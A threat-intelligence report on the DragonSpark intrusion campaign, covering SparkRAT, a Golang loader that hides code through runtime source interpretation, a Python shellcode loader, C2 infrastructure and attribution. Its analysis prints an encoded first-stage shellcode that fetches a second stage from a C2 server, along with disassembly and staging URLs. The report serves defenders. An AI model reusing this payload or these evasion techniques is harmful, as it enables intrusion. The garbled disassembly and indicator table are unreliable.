DragonSpark | Attacks Evade Detection with SparkRAT and Golang Source Code Interpretation

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Executive Summary

- SentinelLabs tracks a cluster of recent opportunistic attacks against organizations in East Asia as DragonSpark.
- SentinelLabs assesses it is highly likely that a Chinese-speaking actor is behind the DragonSpark attacks.
- The attacks provide evidence that Chinese-speaking threat actors are adopting the little known open source tool SparkRAT.
- The threat actors use Golang malware that implements an uncommon technique for hindering static analysis and evading detection: Golang source code interpretation.
- The DragonSpark attacks leverage compromised infrastructure located in China and Taiwan to stage SparkRAT along with other tools and malware.

Overview

SentinelLabs has been monitoring recent attacks against East Asian organizations we track as 'DragonSpark'. The attacks are characterized by the use of the little known open source SparkRAT and malware that attempts to evade detection through Golang source code interpretation.

The DragonSpark attacks represent the first concrete malicious activity where we observe the consistent use of the open source SparkRAT, a relatively new occurrence on the threat landscape. SparkRAT is multi-platform, feature-rich, and frequently updated with new features, making the RAT attractive to threat actors.

The Microsoft Security Threat Intelligence team reported in late December 2022 on indications of threat actors using SparkRAT. However, we have not observed concrete evidence linking DragonSpark to the activity documented in the report by Microsoft.

We observed that the threat actor behind the DragonSpark attacks uses Golang malware that interprets embedded Golang source code at runtime as a technique for hindering static analysis and evading detection by static analysis

mechanisms. This uncommon technique provides threat actors with yet another means to evade detection mechanisms by obfuscating malware implementations.

Intrusion Vector

We observed compromises of web servers and MySQL database servers exposed to the Internet as initial indicators of the DragonSpark attacks. Exposing MySQL servers to the Internet is an infrastructure posture flaw that often leads to severe incidents that involve data breaches, credential theft, or lateral movement across networks. At compromised web servers, we observed use of the China Chopper webshell, recognizable by the &echo [S] &cd&echo [E] sequence in virtual terminal requests. China Chopper is commonly used by Chinese threat actors, which are known to deploy the webshell through different vectors, such as exploiting web server vulnerabilities, cross-site scripting, or SQL injections.

After gaining access to environments, the threat actor conducted a variety of malicious activities, such as lateral movement, privilege escalation, and deployment of malware and tools hosted at attacker-controlled infrastructure. We observed that the threat actor relies heavily on open source tools that are developed by Chinese-speaking developers or Chinese vendors. This includes SparkRAT as well as other tools, such as:

- SharpToken: a privilege escalation tool that enables the execution of Windows commands with SYSTEM privileges. The tool also features enumerating user and process information, and adding, deleting, or changing the passwords of system users.
- BadPotato: a tool similar to SharpToken that elevates user privileges to SYSTEM for command execution. The tool has been observed in an attack campaign conducted by a Chinese threat actor with the goal of acquiring intelligence.
- GotoHTTP: a cross-platform remote access tool that implements a wide array of features, such as establishing persistence, file transfer, and screen view.

In addition to the tools above, the threat actor used two custom-built malware for executing malicious code: ShellCode_Loader, implemented in Python and delivered as a PyInstaller package, and m6699.exe, implemented in Golang.

SparkRAT

SparkRAT is a RAT developed in Golang and released as open source software by the Chinese-speaking developer XZB-1248. SparkRAT is a feature-rich and multi-platform tool that supports the Windows, Linux, and macOS operating systems.

SparkRAT uses the WebSocket protocol to communicate with the C2 server and features an upgrade system. This enables the RAT to automatically upgrade itself to the latest version available on the C2 server upon startup by issuing an upgrade request. This is an HTTP POST request, with the commit query parameter storing the current version of the tool.



A SparkRAT upgrade request

In the attacks we observed, the version of SparkRAT was 6920f726d74efb7836a03d3acfc0f23af196765e, built on 1 November 2022 UTC. This version supports 26 commands that implement a wide range of functionalities:

- Command execution: including execution of arbitrary Windows system and PowerShell commands.
- System manipulation: including system shutdown, restart, hibernation, and suspension.
- File and process manipulation: including process termination as well as file upload, download, and deletion.
- Information theft: including exfiltration of platform information (CPU, network, memory, disk, and system uptime information), screenshot theft, and process and file enumeration.

-BUILD SETTINGS-	
Settingcompiler	gc
Settingldflags	"-s -w -X 'Spark/client/config.
	COMMIT=6920f726d74efb7836a03d3acfc0f23af196765e'
Setting.CGO_ENABLED	0
Setting.GOARCH	amd64
Setting.GOOS	windows
Setting.GOAMD64	v1
Setting.vcs	git
Setting.vcs.revision	6920f726d74efb7836a03d3acfc0f23af196765e
Setting.vcs.time	2022-11-01T00:51:47Z
Setting.vcs.modified	true

5

SparkRAT version

Golang Source Code Interpretation For Evading Detection

The Golang malware m6699.exe uses the Yaegi framework to interpret at runtime encoded Golang source code stored within the compiled binary, executing the code as if compiled. This is a technique for hindering static analysis and evading detection by static analysis mechanisms.

The main purpose of m6699.exe is to execute a first-stage shellcode that implements a loader for a second-stage shellcode.

m6699.exe first decodes a Base-64 encoded string. This string is Golang source code that conducts the following activities:

- Declares a Main function as part of a Run package. The run.Main function takes as a parameter a byte array - the first-stage shellcode.
- The run.Main function invokes the HeapCreate function to allocate executable and growable heap memory (HEAP CREATE ENABLE EXECUTE).
- The run.Main function places the first-stage shellcode, supplied to it as a parameter when invoked, in the allocated memory and executes it.

package run

```
Golang source code in m6699.exe
```

m6699.exe then evaluates the source code in the context of the Yaegi interpreter and uses Golang reflection to execute the run.Main function. m6699.exe passes as a parameter to run.Main the first-stage shellcode, which the

function executes as previously described. m6699.exe stores the shellcode as a double Base64-encoded string, which the malware decodes before passing to run.Main for execution.

L0VpRDVQRG96QUFBQUVGUlFWQlNVVWd4MG1WSWkxSmdWa2lMVWhoSWkxSWdTQSszU2twTk1j bElpM0pRU0RIQXJEeGhmQUlzSUVIQnlRMUJBY0hpN1ZKQlVVaUxVaUNMUWp4SUFkQm1nWGdZ Q3dJUGhYSUFBQUNMZ0lnQUFBQkloY0IwWjBnQjBJdElHRVNMUUNCUVNRSFE0MVpOTWNsSS84 bEJpelNJU0FIV1NESEFyRUhCeVExQkFjRTQ0SFh4VEFOTUpBaEZPZEYxMkZoRWkwQWtTUUhR WmtHTERFaEVpMEFjU1FIUVFZc0VpRUZZU0FIUVFWaGVXVnBCV0VGWlFWcElnK3dnUVZMLzRG aEJXVnBJaXhMcFMvLy8vMTFKdm5kek1sOHpNZ0FBUVZaSmllWklnZXlnQVFBQVNZbmxTYndD QUJvcloyQktsRUZVU1lua1RJbnhRYnBNZHIZSC85Vk1pZXBvQVFFQUF6bEJ1aW1BYXdELzFX b0tRVjVRVUUweHlVMHh3RWovd0VpSndrai93RWlKd1VHNjZnL2Y0UC9WU0luSGFoQkJXRX1K NGtpSitVRZZYVYwWWYvVmhjQjBDa24vem5YbDZKTUFBQUJJ2yt3UVNJbmlUVEhKYWdSQldF aUorVUc2QXRuSVgvL1ZnL2dBZmxWSWc4UWdYb24yYWtCQldXZ0FFQUFBUVZoSWlmSklNY2xC dWxpa1UrWC8xVWlKdzBtSngwMHh5VW1K0EVpSjJraUorVUc2QXRuSVgvL1ZnL2dBZlNoWFW ZFphQUJBQUFCQldHb0FXa0c2Q3k4UE1QL1ZWMWxCdW5WdVRXSC8xVW4venVrOC8vLy9TQUhE U0NuR1NJWDJKYJJCLytkWWFnQlpTY2ZD0ExXaVZ2L1Y=

			↓
:000> u @rax L0xad			
000000c0`0012a000 f	c	cld	
000000c0`0012a001 4	883e4f0	and	rsp,0FFFFFFFFFFFFFF6h
000000c0`0012a005 e	8cc000000	call	00000c0`0012a0d6
000000c0`0012a00a 4	151	push	r9
000000c0`0012a00c 4	150	push	r8
000000c0`0012a00e 5	2	push	rdx
000000c0`0012a00f 5	51	push	rcx
[]		23	
000000c0`0012a1db 4	9ffce	dec	r14
000000c0`0012a1de e	93cffffff	jmp	00000c0`0012a11f
000000c0`0012a1e3 4	801c3	add	rbx,rax
000000c0`0012a1e6 4	829c6	sub	rsi,rax
000000c0`0012a1e9 4	885f6	test	rsi,rsi
000000c0`0012a1ec 7	′5b4	jne	00000c0`0012a1a2
000000c0`0012a1ee 4	1ffe7	jmp	r15
000000c0`0012a1f1 5	8	рор	rax
000000c0`0012a1f2 6	ia00	push	0
000000c0`0012a1f4 5	9	рор	rcx
000000c0`0012a1f5 4	9c7c2f0b5a256	mov	r10,56A2B5F0h
AAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA	fds	call	rhn

The first-stage shellcode that run.Main executes in double Base64-encoded and decoded form

The first-stage shellcode implements a shellcode loader. The shellcode connects to a C2 server using the Windows Sockets 2 library and receives a 4-byte big value. This value is the size of a second-stage shellcode for which the first-stage shellcode allocates memory of the received size. The first-stage shellcode then receives from the C2 server the second-stage shellcode and executes it.

When m6699.exe executes, the threat actor can establish a Meterpreter session for remote command execution.



A Meterpreter session with an m6699.exe instance (in a lab environment)

ShellCode_Loader

ShellCode_Loader is the internal name of a PyInstaller-packaged malware that is implemented in Python. ShellCode_Loader serves as the loader of a shellcode that implements a reverse shell.

ShellCode_Loader uses encoding and encryption to hinder static analysis. The malware first Base-64 decodes and then decrypts the shellcode. ShellCode_Loader uses the AES CBC encryption algorithm, and Base-64 encoded AES key and initialization vector for the decryption.



ShellCode_Loader decodes and decrypts shellcode

ShellCode_Loader uses the Python ctypes library for accessing the Windows API to load the shellcode in memory and start a new thread that executes the shellcode. The Python code that conducts these activities is Base-64 encoded in an attempt to evade static analysis mechanisms that alert on the use of Windows API for malicious purposes.



The shellcode creates a thread and connects to a C2 server using the Windows Sockets 2 library. When the shellcode executes, the threat actor can establish a Meterpreter session for remote command execution.



A Meterpreter session with a ShellCode_Loader instance (in a lab environment)

Infrastructure

The DragonSpark attacks leveraged infrastructure located in Taiwan, Hong Kong, China, and Singapore to stage SparkRAT and other tools and malware. The C2 servers were located in Hong Kong and the United States.

The malware staging infrastructure includes compromised infrastructure of legitimate Taiwanese organizations and businesses, such as a baby product retailer, an art gallery, and games and gambling websites. We also observed an Amazon Cloud EC2 instance as part of this infrastructure.

The tables below provide an overview of the infrastructure used in the DragonSpark attacks.

Malware staging infrastructure

IP address/Domain	Country	Notes
211.149.237[.]108	China	A compromised server hosting web content related to gambling.
43.129.227[.]159		A Windows Server 2012 R2 instance with a computer name of
		172_19_0_3. The threat actors may have obtained access to this
	Hong	server using a shared or bought account. We observed login
	Kong	credentials with the server's name being shared over different time
		periods in the Telegram channels King of VP\$ and SellerVPS for
		sharing and/or selling access to virtual private servers.

www[.]bingoplanet[.]com[.]tw	Taiwan	A compromised server hosting web content related to gambling. The website resources have been removed at the time of writing. The domain has been co-hosted with several other websites of legitimate business, including travel agencies and an English preschool.
www[.]moongallery.com[.]tw	Taiwan	A compromised server hosting the website of the Taiwanese art gallery Moon Gallery.
www[.]holybaby.com[.]tw	Taiwan	A compromised server hosting the website of the Taiwanese baby product shop retailer Holy Baby.
13.213.41[.]125	Singapore	An Amazon Cloud EC2 instance named EC2AMAZ-4559AU9.

C2 server infrastructure

IP address/Domain	Country	Notes
103.96.74[.]148	Hong Kong	A Windows Server 2012 R2 instance with a computer name of CLOUD2012R2. The threat actors may have obtained access to this server using a shared or bought account. We observed login credentials with the server's name being shared over different time periods in the Telegram channels Premium Acc, IRANHACKERS, and !Only For Voters for sharing and/or selling access to virtual private servers. This set of infrastructure was observed resolving to jiance.ittoken[.]xyz at the time of writing. This specific domain can be linked to a wider set of Chinese phishing infrastructure over the past few years. It is unclear if they are related to this same actor.
104.233.163[.]190	United States	A Windows Server 2012 R2 instance with a computer name of $WIN-CLCOOFDKTMK$. The most recent passive DNS record related to this IP address points to a domain name with a Chinese TLD – $kanmn[.]cn$. However, this is shared hosting infrastructure through Aquanx and likely used by a variety of customers. This IP address is known to have hosted a Cobalt Strike C2 server and been involved in other malicious activities, such as hosting known malware samples.

Attribution Analysis

We assess it is highly likely that a Chinese-speaking threat actor is behind the DragonSpark attacks. We are unable at this point to link DragonSpark to a specific threat actor due to lack of reliable actor-specific indicators.

The actor may have espionage or cybercrime motivations. In September 2022, a few weeks before we first spotted DragonSpark indicators, a sample of Zegost malware (bdf792c8250191bd2f5c167c8dbea5f7a63fa3b4) – an infostealer historically attributed to Chinese cybercriminals, but also observed as part of espionage campaigns – was reported communicating with 104.233.163[.]190. We observed this same C2 IP address as part of the DragonSpark attacks. Previous research by the Weibu Intelligence Agency (微步情报局) reported that Chinese cybercrime actor FinGhost was using Zegost, including a variant of the sample mentioned above.

In addition, the threat actor behind DragonSpark used the China Chopper webshell to deploy malware. China Chopper has historically been consistently used by Chinese cybercriminals and espionage groups, such as the TG-3390 and Leviathan. Further, all of the open source tools used by the threat actor conducting DragonSpark attacks are developed by Chinese-speaking developers or Chinese vendors. This includes SparkRAT by XZB-1248, SharpToken and BadPotato by BeichenDream, and GotoHTTP by Pingbo Inc.

Finally, the malware staging infrastructure is located exclusively in East Asia (Taiwan, Hong Kong, China, and Singapore), behavior which is common amongst Chinese-speaking threat actors targeting victims in the region. This evidence is consistent with our assessment that the DragonSpark attacks are highly likely orchestrated by a Chinese-speaking threat actor.

Conclusions

Chinese-speaking threat actors are known to frequently use open source software in malicious campaigns. The little known SparkRAT that we observed in the DragonSpark attacks is among the newest additions to the toolset of these actors.

Since SparkRAT is a multi-platform and feature-rich tool, and is regularly updated with new features, we estimate that the RAT will remain attractive to cybercriminals and other threat actors in the future.

In addition, threat actors will almost certainly continue exploring techniques and specificalities of execution environments for evading detection and obfuscating malware, such as Golang source code interpretation that we document in this article.

SentinelLabs continues to monitor the DragonSpark cluster of activities and hopes that defenders will leverage the findings presented in this article to bolster their defenses.

Indicators of Compromise

Description

ShellCode_Loader (a PyInstaller package)83130d95220bc2edeam6699.exe14ebbed449ccedac36SparkRAT2578efc12941ff48117C2 server network endpoint for ShellCode_Loader103.96.74[.]148:8899C2 server network endpoint for SparkRAT103.96.74[.]148[:]668C2 server network endpoint for m6699.exe103.96.74[.]148[:]668C2 server IP address for China Chopper104.233.163[.]190Staging URL for ShellCode_Loaderhxxp://211.149.237[.]'Staging URL for ShellCode_Loaderhxxp://211.149.237[.]'Staging URL for SparkRAThxxp://43.129.227[.]15Staging URL for ShellCode_Loaderhxxp://43.129.227[.]15Staging URL for ShellCode_Loaderhxxp://www.bingoplanStaging URL for ShellCode_Loaderhxxp://www.holybaby.

Indicator

83130d95220bc2ede8645ea1ca4ce9afc4593196 14ebbed449ccedac3610618b5265ff803243313d 2578efc12941ff481172dd4603b536a3bd322691 103.96.74[.]148:8899 103.96.74[.]148[:]6688 103.96.74[.]148[:]6688 103.96.74[.]148:6699 104.233.163[.]190 hxxp://211.149.237[.]108:801/py.exe hxxp://211.149.237[.]108:801/m6699.exe hxxp://43.129.227[.]159:81/c.exe hxxp://13.213.41.125:9001/go.exe hxxp://www.bingoplanet[.]com[.]tw/images/py.exe hxxp://www.bingoplanet[.]com[.]tw/images/py.exe hxxp://www.holybaby.com[.]tw/api/ms.exe